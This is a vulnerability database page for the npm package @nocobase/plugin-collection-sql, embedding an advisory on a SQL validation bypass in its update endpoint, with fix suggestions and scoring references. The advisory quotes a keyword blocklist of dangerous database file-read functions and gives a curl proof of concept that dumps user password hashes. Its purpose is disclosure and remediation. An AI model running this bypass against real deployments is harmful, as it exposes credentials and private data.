Lookup for vulnerable packages by Package URL.

Purlpkg:npm/%40nocobase/plugin-collection-sql@1.9.0-beta.4
Typenpm
Namespace@nocobase
Nameplugin-collection-sql
Version1.9.0-beta.4
Qualifiers
Subpath
Is_vulnerabletrue
Next_non_vulnerable_version2.0.39
Latest_non_vulnerable_version2.0.39
Affected_by_vulnerabilities
0
url VCID-k6fz-sz2a-z3a4
vulnerability_id VCID-k6fz-sz2a-z3a4
summary
@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call
## Summary

The `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

**Affected component:** `@nocobase/plugin-collection-sql`
**Affected versions:** <= 2.0.32 (confirmed)
**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)

## Vulnerable Code

### `checkSQL` is applied on create and execute

`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`

```javascript
// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}
```

### `checkSQL` is NOT applied on update

```javascript
// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}
```

### The `checkSQL` function itself

`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`

```javascript
export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};
```

## PoC

```bash
TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes
```

## Impact

- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.
- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.
- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.

## Fix Suggestion

1. **Add `checkSQL()` to the `update` action.** The one-line fix:
   ```javascript
   update: async (ctx: Context, next: Next) => {
       const { sql } = ctx.action.params.values || {};
       if (sql) {
           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
       }
       // ... existing code ...
   }
   ```

2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.

3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-41641
reference_id
reference_type
scores
0
value 0.00194
scoring_system epss
scoring_elements 0.41197
published_at 2026-06-07T12:55:00Z
1
value 0.00194
scoring_system epss
scoring_elements 0.41227
published_at 2026-06-06T12:55:00Z
2
value 0.00194
scoring_system epss
scoring_elements 0.41223
published_at 2026-06-05T12:55:00Z
3
value 0.00211
scoring_system epss
scoring_elements 0.43673
published_at 2026-06-08T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-41641
1
reference_url https://github.com/nocobase/nocobase
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/nocobase/nocobase
2
reference_url https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/
url https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91
3
reference_url https://github.com/nocobase/nocobase/pull/9134
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/
url https://github.com/nocobase/nocobase/pull/9134
4
reference_url https://github.com/nocobase/nocobase/releases/tag/v2.0.39
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/
url https://github.com/nocobase/nocobase/releases/tag/v2.0.39
5
reference_url https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T14:13:49Z/
url https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-41641
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-41641
7
reference_url https://github.com/advisories/GHSA-wrwh-c28m-9jjh
reference_id GHSA-wrwh-c28m-9jjh
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-wrwh-c28m-9jjh
fixed_packages
0
url pkg:npm/%40nocobase/plugin-collection-sql@2.0.39
purl pkg:npm/%40nocobase/plugin-collection-sql@2.0.39
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/plugin-collection-sql@2.0.39
aliases CVE-2026-41641, GHSA-wrwh-c28m-9jjh
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-k6fz-sz2a-z3a4
Fixing_vulnerabilities
Risk_score4.0
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/plugin-collection-sql@1.9.0-beta.4